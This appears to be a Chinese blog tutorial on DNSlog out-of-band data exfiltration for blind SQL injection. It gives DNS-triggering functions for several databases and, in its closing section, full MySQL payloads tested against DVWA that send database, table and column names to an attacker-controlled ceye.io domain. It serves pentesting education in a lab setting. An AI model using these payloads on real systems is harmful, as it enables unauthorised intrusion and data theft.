mysql dns 注入_DNSlog应用

最新推荐文章于 2024-05-29 14:50:04 发布

独狼苏

最新推荐文章于 2024-05-29 14:50:04 发布

阅读量262

点赞数 1

CC 4.0 BY-SA版权

文章标签： mysql dns 注入

本文链接：https://blog.csdn.net/weixin_36296215/article/details/113426714

本文介绍了如何利用DNSlog在无回显的SQL注入、XSS、命令注入等场景下快速获取信息。通过DNS解析过程和UNC路径，结合数据库调用函数，如MySQL的load_file，实现盲注。同时，文章提供了测试案例，如在DVWA环境中利用DNSlog进行SQL盲注，并探讨了DNSlog在XSS、SSRF和XXE漏洞中的应用。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

————背景说明————

在做渗透的时候，有一些漏洞发现无回显的，比如sql注入，一般当我们拿到一个无回显的注入，那么我们往往会采用盲注，使用二分法不断猜测字符等方式来取信息，不过这样的方式耗时又费力，而且频繁地测试容易被目标网站ban掉。那么面对盲注，或者是其他漏洞的盲打，有没有哪种方法，可以快速地获取我们需要的信息呢，答案是有的，即本篇主要说的，利用DNS快速获取数据，官方地讲即DNSlog。

这里涉及到DNS解析过程，UNC，以及一些数据库调用函数。

DNS解析的过程：当应用过程需要将一个主机域名映射为IP地址时，就调用域名解析函数，解析函数将待转换的域名放在DNS请求中，以UDP报文方式发给本地域名服务器。本地的域名服务器查到域名后，将对应的IP地址放在应答报文中返回。同时域名服务器还必须具有连向其他服务器的信息以支持不能解析时的转发。若域名服务器不能回答该请求，则此域名服务器就暂成为DNS中的另一个客户，向根域名服务器发出请求解析，根域名服务器一定能找到下面的所有二级域名的域名服务器，这样以此类推，一直向下解析，直到查询到所请求的域名。

UNC：是一种通用命名规则，也称通用命名规范、通用命名约定。格式：\\servername\sharename，其中servername是服务器名。sharename是共享资源的名称。目录或文件的UNC名称可以包括共享名称下的目录路径，格式为：\\servername\sharename\directory\filename。比如在机子hguone上面有个共享文件夹叫niap，那UNC就可以写成\\hguone\niap,当访问域名下的某个文件的时候，也可以试着用UNC。

既然需要DNS解析，可以自己注册个服务器+域名来用，某云服务器一个月十块，域名一年十几块，配置完比如sql盲注就可以直接sqlmap用--dns-domain=域名跑。

其他常用的在线平台，有ceye.io、dnslog.cn、burp自带的 Collaborator client等。

————测试————

这里我使用ceye进行试验。

登陆ceye.io后整体界面如下，记录自己的identifiler地址。

首先DNS查询列表啥都没有

登录自己本地搭的数据库服务器用数据库语句简单测试一下

select load_file('\\\\test.indentifiler.ceye.io\hguone');

test和hguone位置符合unc规则爱写啥写啥

执行以后，ceye上面可以得到相关查询信息

————SQL盲注————

关于sql，我们可以使用一些数据库中引发DNS解析的子程序通过unc访问域名，产生DNS解析。把这个方式利用到盲注中，进行数据库查询，通过dns解析便可以接收到回显相关信息，获取所需要的数据，下面是不同数据库常用的几个函数：

mssql：

master..xp_dirtree 获取文件夹子文件夹

eg:EXEC master..xp_dirtree 'C:\hguone' ;

master..xp_fileexist 文件是否存在

eg: EXEC master..xp_fileexist 'C:\hguone.txt';

master..xp_subdirs 获取所有子文件夹

eg: EXEC master..xp_subdirs 'C:\hguone';

mysql：

load_file 　　　　　　　读取文件并以字符串返回

eg: select load_file('C:\hguone.txt');

Oracle：

GET_HOST_ADDRES　检索主机ip

eg: select UTL_INADDR.GET_HOST_ADDRESS('hguone.com');

UTL_HTTP.REQUEST 从给定的地址检索前2000字节数据

eg: select UTL_HTTP.REQUEST('http://hguone.com/niap.php') FROM DUAL;

PostgreSQL：

COPY 文件系统的文件和表之间拷贝数据

eg:COPY users(names) FROM 'C:\\Windows\\hguone\\users.txt'

这里使用的数据库是mysql以及网站是dvwa

dvwa注入情况如下,它只显示存在，不显示其他信息

直接构造数据库语句查询当前数据库

'and if((select load_file(concat('\\\\',(select database()),'.indentifiler.ceye.io\\hguone'))),1,0)#

看一下源代码

这里相当于执行了如下语句

SELECT first_name, last_name FROM users WHERE user_id = '' and if((select load_file(concat('\\\\',(select database()),'.indentifiler.ceye.io\\hguone'))),1,0)

接着看看表

'and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.indentifiler.ceye.io\\hguone'))),1,0)#

因为拼接则字段只能有一条，所以结果是多条数据则需要引入limit限制，否则会报错

然后看看字段

'and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users'limit 0,1),'.indentifiler.ceye.io\\hguone'))),1,0)#